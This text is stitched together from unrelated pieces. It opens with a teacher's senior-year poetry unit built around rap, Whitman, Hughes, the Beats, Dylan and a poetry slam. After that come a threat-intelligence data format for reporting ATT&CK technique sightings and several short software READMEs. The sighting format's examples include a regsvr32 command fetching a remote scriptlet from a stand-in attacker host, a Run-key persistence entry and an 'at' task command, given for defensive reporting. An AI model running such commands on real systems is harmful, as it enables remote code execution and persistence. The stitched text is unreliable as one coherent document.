At one time, said west, black people could turn to church for comfort but now the church, too, is corrupt and spiritually bankrupt. Some turn to crack, some to suicide and some to the music studio. Those who channel their voices towards music become part of strengthening their culture by expressing their freedom to speak. The personal becomes the political and democracy is preserved.

"Live by your mind and be a slave; live by your heart and be free." Joshua Erlanger

I won't even pretend to enjoy listening to rap music but I do appreciate that it expresses real life and emotions for many of my students. In addition to analyzing some of Tupac's lyrics and some of his poetry we will watch his performance in John Singleton's movie

Poetic Justice

. Although there is a fair amount of sex and violence, and it is only suitable for older students, it does a good job of portraying street life and poetry and the everyday chaos of our kids' lives.  One of the main characters, played by Janet Jackson, considers herself a poet and writes her own poetry. It is, however, the poetry of Maya Angelou, which I will use in connection with the movie.

The great poet Nikki Giovanni says in the foreword to Tupac's book, "People will stand up and say really stupid things like 'I don't think profane language should be used, and I think they can make their point without bad language.' But I always think bad language is school vouchers, lower taxes on capital gains, don't ask, don't tell, and language that silently kills people who are different. Mostly I keep seeing the emptiness of lives that have nothing better to do than judge and condemn. Tupac once said, Only God can judge me. He has taken that step to understand that no matter what anyone says you have an obligation to follow your own muse."

An assignment that I will give to my students at this point will be to write about the tension in their life or in their city following the style of Tupac's music or poetry.

I will then share

The Journey is the Destination

, the journals of Dan Eldon, with them. Eldon was a young photojournalist who was killed while on assignment in Somalia. He kept many years of journals (even though he died at 23) and his mother, in honor of her son, published them. My students love his book. We dedicated our school's literary magazine to his memory last year, and we modeled our magazine after his style:  part poetry, part diary, part collage, and part scrapbook.

Last year's editor of the Literary Magazine described Eldon's work as " an amazing collection of Dan's pictures, writing and experiences. He shares his life in Africa where he took safaris and incredible pictures. His book is amazing. As one turns the pages of his offbeat journal it seems more like turning the pages of a flipbook. Each page contains a new world of people and cultures."  It is this idea that I want to replicate.

I will also introduce another book to them along the same lines by a young woman, Sabrina Harrison, titled

Spilling Open

. Like Eldon's book it contains drawings, poetry, and random messages to herself like "we all at our own age have to claim something even if it's only our own confusion" and  "I am in the middle of growing up and into myself."

She explores many facets of love and friendship, growing up, art, truth, identity intimacy and self-expression. Coincidentally and conveniently she starts her book with a quote and a tribute to Walt Whitman.

Students who do this unit with me will be given their own hardcover journal that they can hold in their hand and feel good about. I will pass out the spiral bound hardcover journals to my students and tell them by the end of the year this has to be full - full of gap ads, poems, original or otherwise, drawings, graffiti art, photographs, watercolors, telephone messages, notes they passed in school - because it will be their book, and this collage of their life will represent them. Their grade will be based solely on the effort, originality and creativity they put into this book.

A traditional poetry section will begin with Walt Whitman. Whitman was a true American poet. He was born in 1819 on Long Island and loved his country.  He cried when Lincoln was shot and he became disillusioned with the rapidly growing materialism and corruption of his country.

His best work is considered by most to be "Song of Myself" in which we are told that we all possess something of the divine within ourselves and that the holiest thing we can do is to listen to and learn from all, regardless of how humble the source "And there is no trade or employment but the young man following it may become a hero…In the faces of men and women I see God."  Whitman was a free spirit like many of the men and women he influenced who came after him.

Whitman loved life, he loved children, loved to have a good time, loved good company and he was open about his sexuality. To continue with my theme of singing we will concentrate on "Song of the Open Road", "Song of  Myself" and " I Hear America Singing."

This is a perfect segue into Langston Hughes' poem, "I too Sing America, I am the darker brother. They send me to eat in the kitchen…Tomorrow I'll be at the table when company comes. They'll see how beautiful I am and be ashamed-I, too, am America".

We will read biographical information on Hughes and the Harlem Renaissance, sections from his autobiography

The Big Sea

, and write a poem about ways in which my students feel disenfranchised from our country.

Lesson Plan 1

Read poem by Walt Whitman "I Hear America Singing".

Analyze and discuss meaning.

Various questions about the poem could include:

a) What is Whitman singing about?

b) In what way does Whitman glorify the workingman?

c) Based on what you have read about Whitman's life why is does he glorify his country?

Then read Langston Hughes poem "I Too Sing America".

Analyze and discuss.

a) Why does Hughes say I too sing America?

b) What does he mean by "darker brother?

c) When might "tomorrow" be?

d) What does the metaphor "sitting in the kitchen" stand for?

Write five to six paragraph essay comparing and contrasting them.

The outline for this assignment could look like the following:

I. Introduction: includes names of both poems and names of both authors

II. Overall meaning of Whitman's poem

III Overall meaning of Hughes poem

IV. Compare them

V. Contrast them (in what way/s are the poems different?

VI. Do you sing America? Are you part of this country? How?

VII.  This collection has over 60 poems and a few essays that are very real and speak to kids about issues that truly affect them, "I hate school. I don't believe. I think that I'll just f. king leave". I recommend it highly. It has been a great find.

For the remainder of my poetry unit, I want to concentrate on using sports as a metaphor for life. Since this unit is designed as a way to reach non-Honors-level students who have a set curriculum and will be reading mandatory things like "The Rape of the Lock" and "The Love song of J. Alfred Prufrock", I have a chance to do something kids can relate to and of course hopefully find helpful in their search for meaning. To this end, we will read the play Fences by August Wilson.  Wilson uses baseball to analyze race relations in the 1950's.

BUILDING FENCES

The main character, Troy Madsen, who we are to believe possessed excellent baseball skills when he was young, had been denied entrance into the major leagues because he was black. He carries this bitterness with him all his adult life and uses it as a reason to deny his own son a chance to play football.
When explaining to his wife why he cheated on her he says, "Honey I stood on first base for twenty years! I just had to steal second." As a way to keep death away and to show to himself and to his friend Bono that he isn't afraid he says, "Death ain't nothin' but a fastball on the outside corner."

As we read and interpret the play students will be asked to explain what Wilson means with these metaphors and to perhaps write some of their own. As the play is titled Fences and is a metaphor for the fence Troy is literally building around his house to keep death, racism, and other assorted evils away it seems a perfect opportunity to read Robert Frost's "Mending Wall". Although I do not intend to do a biographical unit on Frost as that is the only poem I want to do in this unit by him, we will spend sometime on that poem discussing its implications in the play ("Before I built a fence I would ask what it is I am walling in and walling out") and in the world as the cold war raged on.

Other sports poems we will use include "To James" by Frank Horne, which is a beautiful and accessible poem for kids. Horne says to a young boy running track that he should "live as I have taught you to run, Boy - it's a short dash."  The poem uses track as a metaphor for running a good race (life) and to enjoy it and relish his youth and his body because even though kids feel immortal life is shorter than expected. He further states that the runner should dig his starting holes deep and firm, which my students might interpret as preparing for life rather than just letting it happen to them by happenstance. I want them to take control and make plans for after graduation - any kind of plans.

The next poem "The Ex Basketball player" by Updike, exemplifies what can and often does happen to an athlete who does not make plans but just continues to live on his glory days of playing high school basketball: "Pearl Avenue runs past the high-school lot…Berth's Garage is on the corner and there these days you'll find Flick Webb who helps Berth out."

I find this particular poem excruciating because I have seen so many of my students who come back after their glory days trying desperately to recapture that old feeling. When asked what they are up to they mumble something about how they went to college for a little while but it didn't work out and now they play ball with friends sometimes but mostly they are just trying to put a few dollars together and oh yeah they have a baby on the way.

Although the poem is depressing I think it is important to let kids know that they will grow up and that they should "dig their starting holes deep" and that their glory now unfortunately will fade one day. After this section students will be asked to choose a sport they like to watch or play and then using details and vivid language write a poem describing an athlete playing this sport.

THE BEATS

Next I will show

Dead Poet's Society

, an inspiring movie starring Robin Williams as a teacher at a rather stuffy private school. His love of poetry becomes dangerous, or is at least perceived as dangerous, as it incites his students toward self-expression and to "travel to the beat of a different drum." They see Williams as their Captain because he teaches them Whitman's poem, "O captain! My Captain!" and they do not want to, like their parents, "lead lives of quiet desperation" and find when they come to die that they are already dead. For young men in the late 1950's who had not yet discovered the beats and for whom the name Allen Ginsberg meant nothing, this was heady stuff.
Anne Charters in her book

The Portable Beat Reader

says that the "word beat was primarily in use after World War II by jazz musicians and hustlers as a slang term meaning down and out, or poor and exhausted. Allen Ginsberg remembered first hearing the word beat to mean exhausted, at the bottom of the world, looking up or out, sleepless, wide-eyed, perceptive, rejected by society, on your own, streetwise.

In a June 1959 article in

Playboy

"The Origins of the Beat Generation", Jack Kerouac explained that the linguistic root of the word "beat" also carried connotations of beatitude or beatific. When the term beat generation began to be used as a label for all young people it became a synonym for anyone living as a bohemian or acting in a rebellious manner.

I was fortunate to have Allen Ginsberg as a professor at City College in New York, a school I was forced to attend after I dropped out of college and my parents refused to support my education anymore. To a young radical, trying to make sense of the late sixties, early seventies, listening to Ginsberg was pretty much a dream come true.

"Howl", Ginsberg's great opus speaks powerfully for his generation. Ginsberg screams that the crazy people are right. They are right about the corrupt government, sexuality, poverty, and many other things. "I saw the best minds of my generation destroyed by madness, starving hysterical naked, dragging themselves through the Negro streets at dawn looking for an angry fix…" We will read and analyze this poem, making sense of what we can.

Kenneth Koch in his book

Sleeping on the Wing

says that Ginsberg was a poet who responded to the social and political world in his poetry and that in "Howl" written in 1956 he had written an entirely different kind of poem about sick, crushed, and desperate people who were also brilliant and artistic who wanted to find beauty and meaning in ordinary normal American life. They couldn't so they turned to alcohol and drugs, much like Tupac and rap.

Koch's book

Sleeping on the Wing

, by the way, is a great source for teacher because it contains an excellent choice of poems for high school students and it has a page or two of explanation about them, biographical information about each poet, and suggestions for writing. It has been my bible for many years.

Students will also read an interview with Kerouac on his interpretation of "beat" generation and analyze some of his poetry and Buddhist philosophy. A good movie to accompany this section is

The Source

. It traces the life of Ginsberg, Kerouac and Gregory Corso and helps explain why white people began to question their superiority in the world. It also began the movement toward seeing music as dangerous and inciting passion is it sexual or political.

____

This was clearly a time when the music of the time helped create and define the era. The beat of modern jazz was a necessary element for understanding the importance and place of the beat poets. For example, Dave Brubeck's

Take Five

or Jobim's

Girl from Impanema

gave musical validation to the feelings of the time.

The beats sort of naturally lead me into the sixties rock music. In particular Bob Dylan, the poet laureate of 60's. I might as well end with something that is so near and dear to my heart. If I have to listen to their music than they will have to listen to mine!

ROCK AND ROLL

Bob Dylan who started life as Robert Zimmerman in 1941 made his way east from Minnesota to find his hero Woody Guthrie. He sort of landed in New York City and rather rapidly became a cult hero. His songs seared into our hearts and minds and gave voice to our angst and confusion.
One of the guidance counselors at Wilbur Cross High School, where I work, once described him as the original rap star with lyrics like "Johnny's in the basement mixing up the medicine, I'm on the pavement thinkin' bout the government" from his song

Subterranean Homesick Blues

written in 1965.

Folk singer Eliza Gilkyson described Dylan as a person who freed her because he " was all about breaking out of structure, as a lyricist, a vocalist, a poet, a philosopher and a storyteller.     "This is the story of Hurricane, the man the authorities came to blame for somethin' that he never done". Because of Dylan's popularity Rubin "Hurricane' Carter, an African- American boxer falsely accused of murder, received another trial after spending twenty years on death row and was eventually set free. I showed the movie this year and it was a powerful experience for all of us. Perhaps the times really are a-changin'. From these songs we will be able to make connections to rap and the importance of poetry and song to express our situations in life.

Throughout this unit students will be required to bring in music and lyrics to their favorite songs. I will bring in Bob Dylan, they will bring in rap. Doesn't this seem like a nice way to end one's senior year in high school?

LESSON PLAN TWO / SHARING OF LYRICS

Sweet Honey in the Rock is an award winning African American female a cappella ensemble with musical roots in the black church - spirituals and gospel and jazz and the blues. I heard them about twenty years ago at Woolsey Hall and I was hooked. They were amazing. I believe their music transcends time and racial barriers.
They began in 1973, have gone through twenty two different female singers, won a Grammy, shared a stage with the poet Gwendolyn Brooks at the National Black Arts Festival in Atlanta and they are still going strong. They sing loud and strong and they sing with a purpose. My unit has quite a few strong voices but not enough women.

This lesson plan is about singing and lyrics. It is about listening and writing and I want to start with Sweet Honey in the Rock. On day one (of about a two week activity of give and take) I will have students listen to a song called "A tribute." A tribute explains the social and political message of the group -  "Try to crack a rock and you will see the power of a woman and it will blow your mind". They continue with,   "Take a taste of honey and you will see it is just what you are missing."  They use a combination of strength and sweetness to fight for their causes which they refer to as all the isms -racism, sexism, ageism, etc.

"There Are No Mirrors in My Nana's House", another one of their popular songs deals with the self image of young black women trying to grow up in a very white country (I never knew my nose was too flat, my skin was too black) The beauty this young girl saw was through her grandmother's eyes who defined beauty for her, not magazines or cosmetics.  I can't really express how important a message this is for teenagers. Always has been, probably always will be.

One of their songs that I particularly like is "LA, Birmingham, Soweta", "as we fight against misogyny, race hatred and aids " is an excellent way to discuss the significance of those places (apartheid, race riots, bombings)

This lesson plan is also a chance to compare lyrics with poetry.  How are they similar? How are they different? Make sure students notice that both don't necessarily follow rules of grammar or formal expression. Also point out that both poetry and lyrics send a condensed message not necessarily explained in detail. For example, "Ain't no one know at sunrise how this day's going to end, ain't no one know at sunset how this day's going to end." I interpret this as none of us have the power over what will happen in the future.  All we have control over is the moment and how we react to our surroundings. Sweet honey in the Rock believes in the power of political activism, as did Tupac and Bob Dylan.

After we talk about the messages and lyrics I will have the students think about their own message they would like to express. Then students should write their own lyrics that express that message for them. Then write a paragraph to show how those lyrics explain the message because like poetry the lyrics might be symbolic or esoteric and may take some explanation. It is suggested that each student read them out loud to the other members of the class. Perhap this can be taken to ever-greater heights if a musician in the room can be convinced or inspired to collaborate with and  provide some music?

"In nonsense is strength" Kurt Vonnegut

MEASURING SUCCESS

There are many ways to measure success of this unit. The two that I will focus on are their completed journals and a poetry slam to mark the end of the unit. At the end of the year each student will have their own journal, a song to themselves modeled after

The Journals of Dan Eldon

, or Walt Whitman, or their new favorite poet whoever he/she is, and of course their own original work.
Marc Kelly Smith who ran The Uptown Poetry Slam in Chicago for many years invented his own rules. His overall philosophy is " The performance of poetry is an art - just as much an art as the writing of it." Some of his rules are excellent as well as helpful. His basic feeling is that a slam is " a gift from one city to another. This is the philosophy behind my wanting to share our poems with other schools.  Smith also says "the purpose of poetry is not to glorify the poet but rather to celebrate the community to which the poet belongs."

Since public speaking is a major component of my unit and the gift of being articulate is a precious one we will rehearse and learn to enunciate and speak clearly following the poetry slams rule that "No audience should be obligated to listen to the poet. It is the poet's obligation to communicate effectively, artfully, honestly, and professionally so as to compel the audience to listen."

This philosophy helps build an atmosphere of trust among its participants and helps teach our students the importance of hearing a poem. I strongly suggest showing the movie

Slam

. It is an incredible movie about a young drug dealer who turns his life around and discovers his inner life through poetry.

"Don't play the saxophone. Let it play you." Charlie Parker

A POETRY SLAM/LESSON PLAN THREE

Public speaking is something that is sadly neglected in public schools. Although most of us have a hard time speaking in class or in front of a group of people it is a skill and a talent that should be developed for social and academic reasons. It is also really important to own a poem by memorizing it if possible. So this lesson plan is really in two parts.

"We cannot have real learning in school if we think it is our duty and our right to tell children what they must learn.",  John Holt, How Children Fail

The first part is to take a short poem and memorize it. It should be something they do not already know. They should find something new and practice it. Learn a new poem. Memorize it. Share it with their friends. Share it with their family. Read it out loud on the bus. Read it on the bus on the way to school. Then on the assigned day they must recite it in front of the class.

Part two is similar except, and I mean except, they must write a poem or take a poem that they have written along the way in this unit, and recite it out loud. There should be class time reserved for practice. I suggest small groups so that they will be more willing to share and feel less vulnerable. They should listen to each other and give suggestions for emphasis and perhaps for a bit of rewriting.

The Poetry Slam will happen at the end of the curriculum unit. I will get a microphone from the school librarian so we can be loud and be heard. It will be an in school slam perhaps competing against another class or perhaps against Hamden Hall to have that private/public school tension or even an urban/suburban program where we invite East Haven High School to be a part of this as I have contacts there. What an amazing way to bring kids together that transcends racial and economic barriers.

Kids love quotes! Put one on the board every day that you are doing this unit and let it subliminally play its way into their heads and hearts as you analyze and tear poetry apart. It frees their minds, gives them food for thought…

"Fear is an amazing human emotion. It can stop us from doing things we should, and make us do things we should not." Joshua Erlanger.

"A Hacker is any person who derives joy from discovering ways to circumvent limitations." Robert Bickford

"The best inspiration is an unpaid rent." August Strindberg

"Those who think that education is expensive do not know the price of ignorance." Einstein

"When life gives you lemons, make orange juice." Sam Crawford

"Everyone has talent. What is rare is the courage to follow that talent to the dark place where it leads." Erica Jong

If it works, it's obsolete." Marshall McLuhan

"You live and learn … or you don't live long." Robert Heinlein

"At times things can happen outside school that compensate for closed, alienating classrooms." Herbert R. Kohl

"Every artist dips his brush in his own soul, and paints his own nature into his pictures." Henry Ward Beecher

"Fiction is the truth inside the lie." Stephen King

"Drama is life with the dull bits cut out." Alfred Hitchcock

"For just when ideas fail, a word comes in to save the situation." Goethe

"Art is a collaboration between God and the artist, and the less the artist does the better - Andre Gide

Teachers' Bibliography

Cameron, Julia,

The Artist's Way, A Spiritual Path to Higher Creativity

, Tarcher, Putnam: New York, New York,  1992. Although bringing spirituality of any kind into the classroom can be a tricky thing Ms. Cameron does it in a way that opens kids up to the possibility of a higher power which may or may not be a muse or a channel for our own creativity. Her book is inspiring and freeing.

Koch, Kenneth

Making Your Own Days

, Touchstone: New York, New York, 1998. Koch's book helped verbalize things about poetry that I never thought could be verbalized. He really understands poetry and he knows how to get students of any age to understand poetry. Quotes from his work or assigned passages from his work will go a long way toward getting your students to appreciate and feel safe around poetry.

Koch, Kenneth and Kate Farrell,

Sleeping on the Wing

, Random House, 1981. I use this book now every year with my Honors level Seniors. Although the poems tend to be a bit esoteric rendering them unavailable to my lower level kids, they are fun for kids who have been scared away (not yet!) from a hard poem. It has everything from "Howl" to "Somewhere I have never travelled, gladly beyond", to "Song of Myself," and it has biographical information and creative writing assignments!

Moyers, Bill

The Language of Life, A Festival of Poets

, Doubleday, 1995. When Moyers tackles a subject he does a good job. He clearly loves poetry and his love for the craft and for the writer comes through in this book. His interviews clarify and illuminate. The selections are interesting and poignant. There are many videos of his interviews floating around, either at Best Video or for purchase at Public Television.

Perrine, Laurence and Arp, Thomas,

Sound and Sense

, Harcourt Brace,1992. Personally this has been my poetry bible for teaching for the last 15 years. It has all the great poems including "The Ex Basketball Player", "Mending Wall" and "The Love Song Of J. Alfred Prufrock.". It has questions to go along with them. It teaches rhyme and meter. It is easy to hold in one's hand. It has a range and a good selection.

Pinsky, Robert and Maggie Dietz, eds.,

Americans' Favorite Poems: The Favorite Poem Project Anthology

(New York: W.W. Norton, 2000). Robert Pinsky did this book as his project during his tenure as poet laureate of the country. He asked people throughout the country to send in their favorite poem. I heard him speak at the festival of Arts and Ideas and I was blown away. I then bought one of his books and was memerized. They were difficult for kids, however. But this collection is accesssible for most students and each selection has a written accompaniment of why they chose the poem they did. Those are helpful teaching tools.

STUDENTS' BIBLIOGRAPHY

Ayazi-Hashjin, Sherry,

Rap and Hip Hop, The voice of a generation

, The Rosen Publishing Group:  New York, New York, 1999. This book describes the history of African American music and roots of rap. It gives the reader a view of rap music today and where it is headed.

Eldon, Dan

The Journey is the Destination

, Chronicle Books, 1997. Eldon's book gives kids the chance to keep a cool journal that is part diary, part ticket stubs, part photography, part watercolors, and part collage. A great way to keep a record of high school! Kids love it!

Franco, Betsy, editor,

You Hear Me? Poems and writing by teenage boys

, Candlewick Press: Cambridge, Massachusetts,  2000. Ms. Franco has managed to collect a nice sampling of writing by teenage boys that our teenage boys will be able to relate to and be inspired by. The poems are about modern day urban life and the essays show that even tough kids want to write.

Harrison, Sabrina Ward,

The Art of Becoming Yourself

, Random House: New York,  2000. A private journal of one woman's attempt to understand herself through art and poetry

Kaufman, Alan  The Outlaw Bible of American Poetry, Thunder's Mouth Press,

New York, New York © 1999.

The Outlaw Bible of Poetry

is a collection of poems that are rebellious. They will reach that student you thought was unreachable. They will inspire and touch you and your students by their simplicity, free spirit nature, and honest recording of the chaos of the world that surrounds us - now!

Shakur, Tupac

The Rose That Grew from Concrete

Pocket Books, a division of Simon and Schuster, Inc. New York, New York. It is a collection of Tupac's poems that he wrote before he was famous. They are not lyrics to his songs. They are heartfelt poems of love, solitude, death, fear and loss. This is a book that does not stay on my desk for long. Highly recommended!

CDS

BOB DYLAN'S GREATEST HITS

(contains The Times They Are A Changin', and Subterranean Homesick Blues")

DESIRE

(Contains "Hurricane")

THE BEST OF SWEET HONEY IN THE ROCK

(Contains "There are no mirrors in my Nana's House and "LA, Birmingham, and Soweto")

Dave Brubeck - Take Five

FILMS

"The Source"- Biographical Look at the lives of poets Gregory Corso, Allan Ginsberg, and Jack Kerouac. Has good insight into their lives and the history of the time

"Slam" - a young man reclaims his soul and discovers a way to express his anger and his sensitive side and all of his emotions including love through poetry in this movie that my students adore.

"Poetic Justice" - Tupac Shakur stars in this love story with Janet Jackson (a poet) who try to make sense of their life in the LA ghetto.

"Voices and Visions"- a documentary of the life and times of Walt Whitman.

"Dead Poet's Society"- Robin Williams stars as an inspirational and rebellious teacher  at a stuffy boarding school in the 1950's using poetry to free young men of the trappings of society and the expectations of their parents.


text:
## Data Model Format Definitions

All formats are JSON and consist of either a list of entries or a single entry. Please e-mail<EMAIL_ADDRESS>with any questions or suggestions.

Fields in **bold** are required, all other fields are optional. For the "Timestamp" datatype, please use RFC 3339 timestamps in UTC time. Most importantly, please do not include any information beyond that specified in the format below. In particular, we do not want to collect sensitive victim information or other PII.

## Sighting

|Field                                             |Datatype                                        |Description
|--------------------------------------------------|------------------------------------------------|----------|
|**version**                                           |String                                          |A required version string for this model. This must be set to **`1.0`**.
|**id**                                           |String                                          |A required ID for this event. Can be any format, but if you don\'t have a preference UUIDv4 is preferred to ensure uniqueness.
|**sighting_type**                                 |String                                          |Either "direct_technique", "direct_software", or "indirect_software". If direct_software or indirect_software, "software_name" field is required.
|**start_time**                                    |Timestamp                                       |The [RFC 3339](https://tools.ietf.org/html/rfc3339#page-10) UTC timestamp of when the activity started.
|end_time                                           |Timestamp                                       |The [RFC 3339](https://tools.ietf.org/html/rfc3339#page-10) UTC timestamp of when the activity ended.
|**detection_type**                                |String                                          |Either "human_validated", "machine_validated", or "raw". Use human_validated when a human analyst has reviewed the detection and determined it to not be a false positive. Use machine_validated when a machine has performed an analysis on it, e.g. a sandbox. Use raw when no validation has occurred.
|**techniques**                                   |List   |The list of techniques that were observed. The techniques field has its own schema, so please use the [table](#technique) below for formatting.
|**hash**                                              |String                                          |**Required if using direct_software or indirect_software sighting type.** The MD5, SHA-1, or SHA-256 hash of the software.
|software_name                                     |String                                          | The malicious software that was observed. This should ideally be an exact name from the list of [Software Names or Associated Software](https://attack.mitre.org/software/) already in ATT&CK.
|sector                                           |List\[String\]                                  |The [NAICS](https://www.census.gov/naics/?58967?yearbck=2017) code for the sector(s) in which the victim belongs.
|country                                           |String                                          |The ISO country code of the victim.
|region                                            |String                                          |The [IANA Regional Internet Registry](https://www.iana.org/numbers) code of the victim, e.g. ARIN.
|size                                              |String                                          |The approximate size (in number of employees) of the victim. Either "small"(<100), "medium"(100-999), or "large(>999)
|attribution_type                                   |String                                          |Either "group", "incident", or "software".
|attribution                                       |String                                          |The name of the threat group, incident/campaign, or malicious software associated to this activity. This should ideally be an exact name from the list of [Group Names or Associated Groups](https://attack.mitre.org/groups/) already in ATT&CK for threat groups, and of [Software Names or Associated Software](https://attack.mitre.org/software/) already in ATT&CK for malicious software.
|detection_source                                  |String                                          |Either "host_based" or "network_based".
|privilege_level                                   |String                                          |Either "system", "admin", "user", or "none".

## Techniques

| Field                 | Datatype              | Description           |
|-----------------------|-----------------------|-----------------------|
|**technique_id**       | String                | The ATT&CK ID (e.g., "T1086") that was observed.
| platform              | String                | The platform this technique was observed on. Please include the full name, edition, and version. E.g., "Windows 10 Enterprise", "Windows Server 2012 Standard", "MacOS 10.13.5", "Ubuntu 14.04".
| **start_time**             | Timestamp             | The time that this specific technique was observed.
| end_time               | Timestamp             | The time that this specific technique sighting ended.
| tactic                | String                | The name of the tactic that this technique was used to enable. For example, a sighting of Scheduled Task could indicate whether it was used for privilege escalation or for persistence. Format should be the tactic name as referenced in ATT&CK navigator layer file format (lowercase dashed, credential-access).
| raw_data               | List\[data\]          | The list of raw data, if sharable, to support this observation. Could be command lines, event records, etc. Format this as described below.|

## Formatting raw data

Each object in the list of raw data should consist of an object from the [CAR data model](https://car.mitre.org/data_model/) in the form of "object.action": {"field": "value"}.

For example:

**Command Line**:
```
"process.create": {"command_line": "regsvr32.exe /i:hxxp://lolbad.com scrobj.dll"}
```

**Registry Key**:
```
"registry.add": {
    "hive": "HKEY_CURRENT_USER",
    "key": "\Software\Microsoft\Windows\CurrentVersion\Run",
    "value": "bad.exe"
}
```

More complete examples are also below. If something isn't expressible in the CAR data model as-is, just make up an object and action that makes sense to you and we'll figure it out.

## Examples

#### Simple Technique Sighting
A managed service provider monitors sensor data across its customer base. During that monitoring, an analytic flags a Sysmon process event that indicates a scheduled task is being created using "at".

```
{
  "version": "1.0",
  "id": "DT-1234",
  "sighting_type": "direct_technique",
  "start_time": "2019-01-01T08:12:00Z",
  "end_time": "2019-01-01T08:12:00Z",
  "detection_type": "human_validated",
  "techniques": [
    {
      "technique_id": "T1088",
      "start_time": "2019-01-01T08:12:00Z",
      "end_time": "2019-01-01T08:12:00Z",
      "platform": "Windows 10",
      "raw_data": [
        { "process.create": {"command_line": "at 13:30 /interactive cmd"} }
      ]
    }
  ]
}
```

#### Technique Sighting with Attribution
An ISAC collects, anonymizes, and redistributes sightings from its members. While it doesn’t receive the raw data, it does have demographic and (sometimes) attribution information.

```
{
  "version": "1.0",
  "id": "1000",
  "sighting_type": "direct_technique",
  "start_time": "2019-01-01T08:12:00Z",
  "end_time": "2019-01-01T08:12:00Z",
  "detection_type": "human_validated",
  "sectors": ["finance"],
  "attribution_type": "group",
  "attribution": "FIN7",
  "techniques": [
    {
      "technique_id": "T1003",
      "start_time": "2019-01-01T08:12:00Z",
      "end_time": "2019-01-01T08:12:00Z",
      "platform": "Windows 10 Enterprise"
    }
  ]
}
```

#### Malware Blocked by Security Tool
A large end-user organization is running an anti-malware service that blocks execution of a Mac malware already in ATT&CK.

```
{
  "version": "1.0",
  "id": "32",
  "sighting_type": "direct_software",
  "start_time": "2019-01-01T08:12:00Z",
  "end_time": "2019-01-01T08:12:00Z",
  "detection_type": "raw",
  "sectors": ["healthcare"],
  "hash": "<some hash>",
  "software_name": "MacSpy"
}
```

#### IOC Submission
A TIP vendor submits a set of IOCs that have been identified with ATT&CK techniques.

```
{
  "version": "1.0",
  "id": "32",
  "sighting_type": "indirect_software",
  "start_time": "2019-01-01T08:12:00Z",
  "end_time": "2019-01-01T08:12:00Z",
  "sectors": ["healthcare"],
  "hash": "<some hash>",
  "software_name": "RemCom"
}
```


text:
# Chasing Pictures - Coding da Vinci 2015
This is the repository for the *back end* code for the *Chasing Pictures* project. Here, we will develop a server-side application that connects to the [front end](https://github.com/ChasingPictures/front-end).

## Requirements
* Ruby >= 1.9
* Bundler
* imagemagick

## Setup
* Clone the repository
* Run `bundle install` from the project's root directory
* Run `rake db:migrate` to set up the database
* Run `rake db:seed` to fill the database with places and pictures
* Run `rails s` to start the server

repository: ChasingPictures/back-end

repo_name: ChasingPictures/back-end


text:
# Fingerprint Assets plugin for Craft 3

Add fingerprints to your assets on update ☝

`dog.jpg` becomes `dog.f1553871350.jpg` on update (for instance after a crop). This can be helpful if you use a CDN for your images ([imgix](https://www.imgix.com), [Cloudinary](https://cloudinary.com)). Learn how [fingerprinting images](https://docs.imgix.com/best-practices/fingerprinting-images-to-improve-page-load-speed) improves your caching and page load speed.

## Requirements

Craft CMS 3.1.0 or later.

repository: glue-agency/craft-fingerprint-assets

repo_name: glue-agency/craft-fingerprint-assets


text:
# StellarLookout

Watch Stellar payments for multiple addresses in a reliable manner. You create a Ward record per address you want to keep track of.

This gem:

- in case of downtime, will be able to backtrack to unprocessed payments when the connection is resumed (do not rely on SSE)
- rely on a background worker to efficiently query addresses that you care about

## Installation
Add this line to your application's Gemfile:

```ruby
gem 'stellar_lookout'
```

And then execute:
```bash
$ bundle
```

Or install it yourself as:
```bash
$ gem install stellar_lookout
```

Copy the migrations over:

```bash
rails stellar_lookout:install:migrations
rake db:migrate
```

## Usage
### Configure

In an initializer:

```ruby
StellarLookout.configure do |c|
  c.server_url = "https://stellar-lookout-server.com" # https://github.com/imacchiato/stellar_lookout server
  c.on_receive = "ProcessStellarOperation" # you create this callback class. More on this later.
end
```

Add to your routes:

```ruby
mount StellarLookout::Engine => "/stellar_lookout"
```

### Watch an address

```ruby
# If ward is valid (i.e. address is unique, you get a Typhoeus::Response back)
response = StellarLookout::Watch.("GAT6VDPXX26XXFAKACUJTIZAL3GSFJ4NECG7B3C3P63IP4233XFP2PCS")
response.body # {"data":{"id":"1","type":"wards","links":{"self":"https://stellar-lookout-server.com/api/v1/wards/1"},"attributes":{"address":"53a83253c5b3a5f61b296ed439adf40e","callback-url":"http://localhost:3000/stellar_lookout/api/v1/operations","secret":"dec24e94-1dd9-4326-b14d-25ad87e195d1"}}}
```

```ruby
# If ward is invalid, non-persisted ward:
ward = StellarLookout::Watch.("GAT6VDPXX26XXFAKACUJTIZAL3GSFJ4NECG7B3C3P63IP4233XFP2PCS")
ward.persisted? # false
ward.errors
```

This is makes an HTTP call to the configured StellarLookout server.

#### Callback Class

In your application code, create a callback class. Let's say it's called `ProcessStellarOperation`:

```ruby
class ProcessStellarOperation
  def self.call(op)
    # You can do what you want here. `op` that is passed is a `StellarLookout::Operation`.
    # This is executed within a controller request. If you will be doing anything heavy, enqueue it to a background worker.
  end
end
```

A `StellarLookout::Operation` will model the json that is returned, except the `_links`.

```ruby
op.id # "3330798677659649"
op.paging_token # "3330798677659649"
op.source_account # "GDBYR5T4TQL6M73A4ER67H2JFTVITDJO7FDK37KY6APPQD6AWEW3ESGY"
op.type # "payment"
op.type_i # 1
op.asset_type # "native"
op.from # "GDBYR5T4TQL6M73A4ER67H2JFTVITDJO7FDK37KY6APPQD6AWEW3ESGY"
op.to # "GAT6VDPXX26XXFAKACUJTIZAL3GSFJ4NECG7B3C3P63IP4233XFP2PCS"
op.amount # 1000.0 => instead of a string, which is what the JSON returns, `BigDecimal` is returned so you can easily apply math operations
```

## Factories

To make development easier, if you use factory girl, you can include factories in your application: `require "stellar_lookout/factories"`.

- `:stellar_lookout_operation`
- `:stellar_lookout_ward`

## Contributing

- Copy `spec/config.yml.sample` to `spec/config.yml` and fill it up.
- `rspec spec`
- Submit a pull request

## License
The gem is available as open source under the terms of the [MIT License](http://opensource.org/licenses/MIT).


text:
---
layout: post
title: Thanks for pitching!
logo: srccon_logo.png
---

Thank you for submitting a proposal to SRCCON. If you like, you can [submit another proposal](/sessions/pitch). If you’re all set, please consider inviting your friends to submit a proposal and join us in Philadelphia July  24-25. In particular, please help us spread the word to people who we may not already know about the event.

Reminder: All SRCCON participants, **including session leaders**, need a ticket to the event. If you have a session accepted, you will have an opportunity to purchase a ticket for **one session leader per accepted session**. If you **do** have a ticket and just pitched a session though, right on!

repository: OpenNews/srccon

branch_name: refs/heads/staging

gha_language: CSS

repo_name: OpenNews/srccon


text:
Api Timer
==========
A utility to compare API endpoints

